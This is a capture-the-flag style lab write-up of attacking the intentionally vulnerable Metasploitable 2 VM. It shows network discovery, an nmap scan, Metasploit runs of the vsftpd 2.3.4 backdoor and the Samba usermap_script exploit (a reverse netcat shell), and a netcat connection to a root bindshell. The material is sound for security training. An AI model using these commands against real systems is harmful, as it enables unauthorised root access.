

Metasploitable 2

🕒 Created	@December 25, 2024 9:33 AM
☑ Reviewed	☑

It's a Linux machine. Its virtual machines are commonly used for security training, testing security tools, or practicing various penetration testing techniques.

Getting the IP address by using any one command:

```
sudo netdiscover
```

```
sudo arp-scan -l
```

```
(kali㉿kali)-[~/Desktop]
$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:d2:26:79, IPv4: 192.168.1.75
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.67    18:47:3d:69:c5:f9    CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.1.72    08:00:27:96:49:ea    PCS Systemtechnik GmbH
192.168.1.68    06:6d:14:b3:68:7e    (Unknown: locally administered)
192.168.1.254   c4:48:fa:d7:ea:40    Taicang T&W Electronics

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.199 seconds (116.42 hosts/sec). 4 responded
```

The IP address is 192.168.1.72

Nmap

Using Nmap for the given IP address

```
sudo nmap -sV -sS -A 192.168.1.72 -o nmapof.txt
```

```

(kali@kali)-[~/Desktop]
$ sudo nmap -sV -sS -A 192.168.1.72 -o nmapof.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 08:13 EST
Nmap scan report for 192.168.1.72
Host is up (0.00066s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_   Connected to 192.168.1.75
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-date: 2024-12-21T13:14:17+00:00; -3s from scanner time.
|_sslv2:
|_   SSLv2 supported
|_   ciphers:
|_     SSL2_DES_64_CBC_WITH_MD5
|_     SSL2_RC2_128_CBC_WITH_MD5
|_     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_     SSL2_RC4_128_WITH_MD5
|_     SSL2_RC4_128_EXPORT40_WITH_MD5
|_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s

```

There are many port and services running. we will be targetting two port:

Exploitation

1.VSFTPD (VSFTPD v2.3.4 Backdoor Command Execution)

VSFTPD stands for very secure FTP daemon.It's a lightweight, stable, and secure FTP server for UNIX-like systems.

So, we use Metasploit to look for the available exploits for VSFTPD.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies     Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.72
rhosts => 192.168.1.72
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.72:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.72:21 - USER: 331 Please specify the password.
[+] 192.168.1.72:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.72:21 - UID: uid=0(root) gid=0(root)
ls
ls
[*] Found shell.
ls
[*] Command shell session 1 opened (192.168.1.75:43543 -> 192.168.1.72:6200) at 2024-12-21 08:19:47 -0500
```

Got root access

```
su
sr
sys
tmp
usr
var
vmlinuz
pwd
/
whoami
root
█
```

2. SAMBA (Samba "username map script" Command Execution)

Samba is a popular freeware program that allows end users to access and use files, printers, and other commonly shared resources over the Internet. As we saw earlier, the steps we follow for this attack will be the same as the previous one.

```

Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|   System time: 2024-12-21T08:14:07-05:00
|_  clock-skew: mean: 1h14m56s, deviation: 2h30m00s, median: -3s
|_  smb-security-mode:
|     account_used: guest
|     authentication_level: user
|     challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_  nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_  smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT      ADDRESS
1   0.65 ms  192.168.1.72

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 21 08:14:20 2024 -- 1 IP address (1 host up) scanned in 31.47 seconds

```

version found - 3.0.20

Finding the exploit in metasploit

```

msf6 > search samba 3.0.20

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > ls
[*] exec: ls

BB Clearlog.sh enum.txt nmapof.txt tool
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):
-----
Name      Current Setting  Required  Description
--      -
CHOST      192.168.1.72    no        The local client address
CPORT      4444             no        The local client port
Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     []               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
-----
Name      Current Setting  Required  Description
--      -
LHOST     192.168.1.75    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
-----
Id  Name
--  -
0   Automatic

enum.txt

View the full module info with the info, or info -d command.

```

After exploitation we got root access:

```
msf6 exploit(multi/samba/usermap_script) > set rhosts 192
rhosts => 192
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.1.72
rhosts => 192.168.1.72
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] Command shell session 2 opened (192.168.1.75:4444 -> 192.168.1.72:33589) at 2024-12-21 08:31:24 -0500

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
pwd
/
whoami
root
```

3. There is also a blind shell

Its goes by

```
| nc 192.168.1.72 1524
```

these will connect the system directly to root.

Comming for another vm.